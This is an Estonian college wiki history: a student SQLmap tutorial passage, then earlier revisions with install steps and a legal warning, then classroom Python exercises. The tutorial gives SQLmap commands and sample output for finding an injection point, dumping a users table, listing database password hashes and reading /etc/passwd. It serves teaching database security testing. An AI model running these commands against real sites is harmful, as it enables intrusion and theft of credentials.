1. Oletame, et tahame SQLmap'iga testida veebilehte. Selleks laseme SQLmap'il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes.[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre><br />
<br />
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:10:33<br />
<br />
[12:10:33] [INFO] resuming back-end DBMS 'mysql' <br />
[12:10:34] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:10:37] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5</pre><br />
<br />
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada '''andmebaaside nimekirja''', kasutades võtit '''--dbs''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs</pre><br />
<br />
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:12:56<br />
<br />
[12:12:56] [INFO] resuming back-end DBMS 'mysql' <br />
[12:12:57] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:13:00] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:13:00] [INFO] fetching database names<br />
[12:13:00] [INFO] the SQL query used returns 2 entries<br />
[12:13:00] [INFO] resumed: information_schema<br />
[12:13:00] [INFO] resumed: safecosmetics<br />
available databases [2]:<br />
[*] information_schema<br />
[*] safecosmetics</pre><br />
<br />
3. Leiame '''kõik tabelid''', mis asuvad andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[11:55:18] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'<br />
[11:55:19] [INFO] heuristics detected web page charset 'ascii'<br />
[11:55:19] [INFO] the SQL query used returns 216 entries<br />
[11:55:20] [INFO] retrieved: acl_acl<br />
[11:55:21] [INFO] retrieved: acl_acl_sections <br />
........... more tables</pre><br />
<br />
4. Leiame '''veerud tabelis''' "users" andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] <br />
<br />
<pre>[12:17:39] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'<br />
[12:17:41] [INFO] heuristics detected web page charset 'ascii'<br />
[12:17:41] [INFO] the SQL query used returns 8 entries<br />
[12:17:42] [INFO] retrieved: id<br />
[12:17:43] [INFO] retrieved: int(11) <br />
[12:17:45] [INFO] retrieved: name <br />
[12:17:46] [INFO] retrieved: text <br />
[12:17:47] [INFO] retrieved: password <br />
[12:17:48] [INFO] retrieved: text <br />
<br />
.......<br />
<br />
[12:17:59] [INFO] retrieved: hash<br />
[12:18:01] [INFO] retrieved: varchar(128)<br />
Database: safecosmetics<br />
Table: users<br />
[8 columns]<br />
+-------------------+--------------+<br />
| Column | Type |<br />
+-------------------+--------------+<br />
| email | text |<br />
| hash | varchar(128) |<br />
| id | int(11) |<br />
| name | text |<br />
| password | text |<br />
| permission | tinyint(4) |<br />
| system_allow_only | text |<br />
| system_home | text |<br />
+-------------------+--------------+</pre><br />
<br />
5. Leiame eelnevast '''tabelist andmed''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users</pre><br />
<br />
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| id | hash | name | email | password | permission | system_home | system_allow_only |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+</pre><br />
<br />
'''<br />
====2. Kasutajad====<br />
'''<br />
<br />
Järgnev käsk tagastab infot kasutajate ja rollide kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>..........<br />
<br />
database management system users [5]:<br />
[*] ''@'localhost'<br />
[*] ''@'localhost.localdomain'<br />
[*] 'root'@'127.0.0.1'<br />
[*] 'root'@'localhost'<br />
[*] 'root'@'localhost.localdomain'<br />
<br />
.............<br />
<br />
database management system users password hashes:<br />
[*] [1]:<br />
password hash: NULL<br />
[*] root [2]:<br />
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19<br />
password hash: NULL<br />
<br />
........<br />
<br />
[*] %root% (administrator) [27]:<br />
privilege: ALTER<br />
privilege: ALTER ROUTINE<br />
privilege: CREATE<br />
privilege: CREATE ROUTINE<br />
privilege: CREATE TEMPORARY TABLES<br />
privilege: CREATE USER<br />
privilege: CREATE VIEW<br />
privilege: DELETE<br />
privilege: DROP<br />
privilege: EVENT<br />
privilege: EXECUTE<br />
privilege: FILE<br />
privilege: INDEX<br />
privilege: INSERT<br />
privilege: LOCK TABLES<br />
privilege: PROCESS<br />
privilege: REFERENCES<br />
privilege: RELOAD<br />
privilege: REPLICATION CLIENT<br />
privilege: REPLICATION SLAVE<br />
privilege: SELECT<br />
privilege: SHOW DATABASES<br />
privilege: SHOW VIEW<br />
privilege: SHUTDOWN<br />
privilege: SUPER<br />
privilege: TRIGGER<br />
privilege: UPDATE</pre><br />
<br />
Leiame info hetkel kasutusel oleva kasutaja, andmebaasi ja hostinime kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>........<br />
[11:32:33] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux Red Hat Enterprise 6 (Santiago)<br />
web application technology: PHP 5.3.3, Apache 2.2.15<br />
back-end DBMS: MySQL 5.0.11<br />
[11:32:33] [INFO] fetching current user<br />
[11:32:33] [INFO] retrieving the length of query output<br />
[11:32:33] [INFO] retrieved: 14<br />
[11:32:38] [INFO] retrieved: root@localhost <br />
current user: 'root@localhost'<br />
[11:32:38] [INFO] fetching current database<br />
[11:32:38] [INFO] retrieving the length of query output<br />
[11:32:38] [INFO] retrieved: 5<br />
[11:32:40] [INFO] resumed: profile_data<br />
current database: 'profile_data'<br />
[11:32:40] [INFO] fetching server hostname<br />
[11:32:40] [INFO] retrieving the length of query output<br />
[11:32:40] [INFO] retrieved: 21<br />
[11:32:48] [INFO] retrieved: localhost.localdomain <br />
hostname: 'localhost.localdomain'<br />
[11:32:48] [INFO] testing if current user is DBA<br />
[11:32:48] [INFO] fetching current user<br />
current user is DBA: False</pre><br />
<br />
'''<br />
====2. Failid====<br />
'''<br />
<br />
Faili lugemine kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre></div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88531
Sqlmap
2015-05-14T13:39:08Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]<br />
<br />
'''<br />
====1. Linux/Unix====<br />
'''<br />
<br />
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. <br />
<br />
1. Paigalda Python (Debian, Ubuntu).<br />
<br />
<pre>sudo apt-get install python2.6</pre><br />
<br />
2. Kontrolli versiooni.<br />
<br />
<pre>python --version</pre><br />
<br />
3. Seejärel alla laadida SQLmap.<br />
<br />
<pre>wget from http://sqlmap.sourceforge.net/#download</pre><br />
<br />
4. Pakkida see lahti ja käivitada.<br />
<br />
<pre>tar zxvf sqlmap-0.9.tar.gz<br />
<br />
cd sqlmap<br />
<br />
python sqlmap.py</pre><br />
<br />
5. Edukal paigaldamisel tagastab SQLmap:<br />
<br />
<pre>sqlmap/0.9 - automatic SQL injection and database takeover tool<br />
http://sqlmap.sourceforge.net<br />
<br />
Usage: python sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help</pre><br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]<br />
<br />
'''<br />
====2. Windows====<br />
'''<br />
<br />
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]<br />
<br />
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.<br />
<br />
<pre>C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py<br />
Usage: ./sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza<br />
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv<br />
anced help<br />
<br />
Press Enter to continue...</pre><br />
<br />
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]<br />
<br />
'''<br />
==Kasutamine==<br />
'''</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88530
Sqlmap
2015-05-14T13:09:09Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
'''<br />
====1. Linux/Unix====<br />
'''</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88529
Sqlmap
2015-05-14T13:03:14Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi jpm. [http://sqlmap.org/]<br />
<br />
NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Python_tunnis_tehtud_n%C3%A4ited&diff=88456
Python tunnis tehtud näited
2015-05-12T08:12:15Z
<p>Eprudnik: </p>
<hr />
<div><source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
#Elina Prudnikova A21, 12.05.2015<br />
#1. Skript loeb failist numbrid<br />
#2. Kui number jagub 3 siis prindib numbri<br />
<br />
#exit 1 - Argumentide arv vale<br />
#exit 2 - Aisendfaili ei õnnestu lugeda<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print ("Käsurea argumente peab olema 1")<br />
sys.exit(1)<br />
<br />
try:<br />
sisend = open(sys.argv[1])<br />
<br />
except IOError:<br />
print ('Sisendfaili, sys.argv[1], ei saa avada')<br />
sys.exit(2)<br />
<br />
for line in sisend.readlines():<br />
line = line.strip()<br />
if line:<br />
line2=float(line)<br />
if line2 % 3 == 0:<br />
print (line)<br />
<br />
</source><br />
<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
from __future__ import print_function<br />
from __future__ import unicode_literals<br />
<br />
import sys<br />
import urllib2<br />
<br />
<br />
print("See on tehtud IDET kasutades")<br />
<br />
print(sys.argv)<br />
print(len(sys.argv))<br />
<br />
if len(sys.argv) != 2:<br />
print("Kasuta programmi ...")<br />
sys.exit(1)<br />
<br />
<br />
print("programm lõpetas töö")<br />
<br />
try:<br />
fh = open(sys.argv[1], 'r')<br />
for line in fh.readlines():<br />
a_line = line.split(',')<br />
print("URL:", a_line[0], "String", a_line[1])<br />
try:<br />
u = urllib2.urlopen(a_line[0])<br />
sisu = u.read()<br />
print("Srtingi leidsin", sisu.count(a_line[1].strip()), "korda")<br />
except Exception:<br />
print("URLi avamine ebaõnnestus")<br />
print("URL:", a_line[0], "String", a_line[1])<br />
<br />
except IOError:<br />
print("Faili avamine ebaõnnestus")<br />
</source><br />
<br />
<br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd - A22, 18.03.2014<br />
# Programm mis võtab käsurea argumendina sisendfaili ning leiab sellest <br />
# sisendfailist kõige pikima sõna ja väljastab selle sõna koos reanumbriga.<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "sisendfail"<br />
sys.exit(1)<br />
<br />
try:<br />
pikim = open(sys.argv[1], 'r')<br />
lookup = max(pikim, key = len)<br />
lookup = max(lookup.split(), key=len)<br />
print lookup<br />
except IOError: <br />
print "Sisendfaili ei saa avada."<br />
<br />
with open(sys.argv[1]) as minuFail:<br />
for num, line in enumerate(minuFail, 1):<br />
if lookup in line:<br />
print 'Sõna oli real:', num<br />
<br />
<br />
<br />
print "Programm lõpetas töö"<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Johannes Tammekänd - A22, 18.03.2014<br />
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle.<br />
<br />
<br />
import sys<br />
<br />
if len(sys.argv) != 2:<br />
print "Argumentide arv on vale!"<br />
print "Kasuta programmi ", sys.argv[0], "sisendfail"<br />
sys.exit(1)<br />
<br />
try:<br />
pikim = open(sys.argv[1], 'r')<br />
lookup = max(pikim, key = len)<br />
print lookup<br />
except IOError: <br />
print "Sisendfaili ei saa avada."<br />
<br />
<br />
print "Programm lõpetas töö"<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle<br />
# Autor: Karl-Martin Karlson<br />
<br />
from __future__ import print_function<br />
<br />
import sys<br />
<br />
#Kontrollib käsurea argumentide arvu<br />
<br />
if len(sys.argv) != 2:<br />
print("Argumentide arv on vale!")<br />
print("Kasuta programmi", sys.argv[0], "sisendfail")<br />
sys.exit(1)<br />
<br />
failinimi = sys.argv[1]<br />
<br />
<br />
try:<br />
ifh = open(sys.argv[1], 'r')<br />
except I0Error:<br />
print("Faili ei saanud avada")<br />
sys.exit(1)<br />
<br />
reapikkus = 0<br />
pikimrida = "Tere"<br />
<br />
ifh=open(failinimi)<br />
while True:<br />
line = ifh.readline()<br />
if reapikkus < len(line):<br />
reapikkus = len(line)<br />
pikimrida = line <br />
if not line:<br />
break<br />
ifh.close()<br />
print (pikimrida)<br />
</source><br />
<br><br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Skript kontrollib argumentide arvu, avab argumendina antud faili(kontrollides eelnevalt selle<br />
# olemasolu ning õiguseid sellest lugemiseks) ning seejärel prindib pikima rea välja.<br />
# Autor: Marten Mattisen<br />
import sys<br />
if (len(sys.argv) != 2):<br />
print ("Argumentide arv on vale!")<br />
sys.exit(2)<br />
try:<br />
print "Pikim rida:"+max(open(sys.argv[1], 'r'), key=len)<br />
except IOError:<br />
print 'Sisendfail on puudu või pole sellest lugemiseks õiguseid'<br />
sys.exit(1)<br />
print 'Skript on töö lõpetanud.'<br />
<br />
</source><br />
<br><br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Tere täpiline kommentaar<br />
import sys<br />
<br />
print sys.argv[0], sys.argv[1]<br />
print 'Tere maailm!'<br />
<br />
muutuja = 5<br />
<br />
teine_muutuja = 2.0<br />
<br />
print 'jagatis on', muutuja/teine_muutuja<br />
print 'Palun sisesta midagi'<br />
vastus = int(raw_input())<br />
<br />
print 'sisestasid', vastus/2.0<br />
<br />
if vastus%2 == 0:<br />
print 'vastus on paarisarv'<br />
else:<br />
print 'vastus on paaritu arv'<br />
<br />
for i in range(1,9999):<br />
print 'i =',i<br />
<br />
while True:<br />
print "sisesta midagi"<br />
a = raw_input()<br />
if a == 'q':<br />
print 'programm lõpetas töö'<br />
sys.exit(0) <br />
<br />
<br />
</source><br />
<br />
Pythoni programm, mis kontrollib, kas arv jagub 10-ga<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
<br />
while True:<br />
print 'Kirjuta mingi arv, mis jagub 10ga'<br />
#raw_input annab stringi, see on vaja teha integer tüüpi<br />
kasutajaarv = int(raw_input())<br />
if kasutajaarv%10 == 0:<br />
break<br />
<br />
print 'Jagus! Programm lõpetab!'<br />
</source><br />
Skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#loo skript, mis saab käsurealt 0..n argumenti<br />
#skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)<br />
<br />
import sys<br />
<br />
print 'argumentide arv:', len(sys.argv)<br />
<br />
for i in sys.argv:<br />
print "Argument: ", i<br />
</source><br />
<br />
Pythoni programm, mis väljastab ainult paaritud argumendid<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Loo skript mis saab käsurealt 0..n argumenti<br />
#väljastab kõik paaritud argumendid (iga argument eraldi real)<br />
<br />
import sys<br />
<br />
for i in sys.argv[1:]:<br />
if int(i)%2 == 0:<br />
pass<br />
else:<br />
print 'Paaritu argument: ', i<br />
</source><br />
<br />
Pythoni programm, mis kirjutab faili, kus on 1000 rida ja igal real on juhuarv 1..1000<br />
<br />
<source lang="python"><br />
<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
<br />
import random<br />
fo = open("fail.txt", 'w')<br />
<br />
for x in range(1, 1001):<br />
ran=str(random.randrange(1,1000+1)) <br />
fo.write(ran+'\n')<br />
<br />
fo.close()<br />
<br />
</source><br />
<br />
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab <br />
# uute faili<br />
<br />
fo = open("fail.txt", "r" )<br />
fo2 = open("sorteeritud.txt", 'w')<br />
<br />
lines = fo.readlines()<br />
results = map(int, lines)<br />
<br />
results.sort()<br />
<br />
for item in results:<br />
fo2.write("%s\n" % item)<br />
<br />
fo.close()<br />
fo2.close()<br />
<br />
</source><br />
<br />
Skript sorteerib fail.txt-s olevad numbrid ja väljastab uute faili<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab <br />
# uute faili<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
import sys<br />
<br />
f = open(sys.argv[1], 'r')<br />
lines = f.readlines()<br />
lines.sort(key = int)<br />
<br />
<br />
f = open('uusfail3.txt', 'w')<br />
for number in lines:<br />
f.write(number)<br />
f.close<br />
</source><br />
<br />
<br />
Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult unikaalsed numbrid<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
#Skript sorteerib fail.txt-s olevad numbrid ja väljastab ainult<br />
# unikaalsed numbrid<br />
<br />
fo = open("fail.txt", "r" )<br />
fo2 = open("unikaalsed.txt", 'w')<br />
<br />
lines = fo.readlines()<br />
results = map(int, lines)<br />
<br />
results2 = list(set(results))<br />
results2.sort()<br />
<br />
for item in results2:<br />
fo2.write("%s\n" % item)<br />
<br />
fo.close()<br />
fo2.close()<br />
<br />
</source><br />
<br />
Skript, mis tagastab käsurealt etteantud kasutaja UID<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
<br />
import sys<br />
from pwd import getpwnam<br />
print getpwnam(sys.argv[1]).pw_uid<br />
<br />
</source><br />
<br />
Skript, mis väljastan NxN ühikmaatriksi<br />
<br />
<source lang="python"><br />
<br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Väljastab NxN ühikmaatriksi<br />
<br />
import sys<br />
import numpy as np<br />
<br />
n = float(sys.argv[1])<br />
<br />
print np.identity(n)<br />
<br />
</source><br />
<br />
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu<br />
from sys import argv<br />
<br />
if len(argv) < 2:<br />
print "Sa ei sisestanud ühtegi argumenti, mida kontrollida"<br />
exit(1)<br />
<br />
fh=open(argv[1])<br />
read = fh.readlines()<br />
<br />
sonad = 0<br />
tahed = 0<br />
for rida in read:<br />
tahed = tahed + len(rida)<br />
sonad = sonad + len(rida.split())<br />
<br />
print "Ridu:" , len(read)<br />
print "Sonu:" , sonad<br />
print "Tähti:" , tahed<br />
<br />
fh.close()<br />
</source><br />
<br />
Skript loeb etteantud teksti failist ridade, sõnade ja tähemärkide arvu<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Tee skript, mis leiab käsurealt etteantud tekstifaili<br />
# ridade arvu, tähtede arvu ja sõnade arvu ja väljastab ekraanile<br />
<br />
import sys<br />
<br />
f = open(sys.argv[1], "r" )<br />
<br />
lines = f.readlines()<br />
count = 0<br />
sonad = 0<br />
<br />
<br />
for i in range(0,len(lines)):<br />
count = count + len(lines[i])<br />
sonad = sonad + len(lines[i].split(" "))<br />
<br />
print "Ridu:", len(lines)<br />
print "Tähemärke:", count<br />
print "Sõnu:", sonad<br />
<br />
f.close()<br />
</source><br />
<br />
Skript kirjutab tekstifaili 100 rida rea numbrite ja random sisuga, komadega eraldatult<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Tee skript, mis kirjutab komadega eraldatud tekstifaili 100 rida, igas reas järgnev info:<br />
# rea nr, random nr 1..100, random märk pikkusega 0..32<br />
<br />
import sys<br />
import random<br />
import string<br />
<br />
f = open(sys.argv[1], "w" )<br />
<br />
for i in range(1, 101):<br />
ran=str(random.randrange(1,100+1)) <br />
f.write(str(i)+',')<br />
f.write(ran+',')<br />
for j in range(1,random.randrange(1,32+1)):<br />
f.write(random.choice(string.ascii_letters))<br />
f.write('\n')<br />
<br />
f.close()<br />
</source><br />
<br />
Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Skript kirjutab ette antud faili 100 rida. Igal real on rea number, suvaline number 1 ja 100 vahel ja suvaline tähemärk, mis on komadega eraldatud<br />
from sys import argv<br />
from random import randint<br />
import random<br />
letters='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'<br />
<br />
if len(argv) < 2:<br />
print "Sa ei sisestanud ühtegi argumenti, mida kontrollida"<br />
exit(1)<br />
<br />
fh=open(argv[1], "w")<br />
<br />
sonad = 0<br />
tahed = 0<br />
for rida in range(100):<br />
fh.write(str(rida+1) + "," + str(randint(1, 101)) + "," + random.choice(letters) + "\n")<br />
<br />
fh.close()<br />
</source><br />
<br />
Skript saadab meili kasutades smtplib teeki ning on praktiliselt identne StackOverflow lehel asuva koodiga, mille leiab sõnumi sisust.<br />
<source lang="python"><br />
#!/usr/bin/env python<br />
# -*- coding: utf-8 -*-<br />
# Üllar Seerme, A21<br />
# 25.03.14<br />
import smtplib<br />
<br />
FROM = ""<br />
TO = [""]<br />
<br />
SUBJECT = "Hello World!"<br />
TEXT = "Greetings from http://stackoverflow.com/questions/6270782/sending-email-with-python"<br />
<br />
MESSAGE = """\<br />
From: %s<br />
To: %s<br />
Subject: %s<br />
<br />
%s<br />
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)<br />
<br />
server = smtplib.SMTP("mail.itcollege.ee")<br />
server.sendmail(FROM, TO, MESSAGE)<br />
server.quit()<br />
</source><br />
skript saadab meili kasutades smtplib teeki. Süntaksi sain tutorialspoint.com dokumentatsioonidest.<br />
<source lang="python"><br />
#!/usr/bin/python<br />
#A21 Juri Kononov Ilma autentimist meili saatmine<br />
import smtplib<br />
<br />
smtplib.SMTP('mail.itcollege.ee').sendmail('kellelt@itcollege.ee', 'kellele@itcollege.ee', "emaili sisu")<br />
</source><br />
<br />
<br />
<source lang="python"><br />
#!/usr/bin/python<br />
# -*- coding: utf-8 -*-<br />
# Autor: Karl-Martin Karlson<br />
# Rühm: A21<br />
# Skript saadab enda sisu valitud meili aadressile<br />
<br />
import smtplib<br />
<br />
with open(__file__) as f:<br />
msg = f.read()<br />
<br />
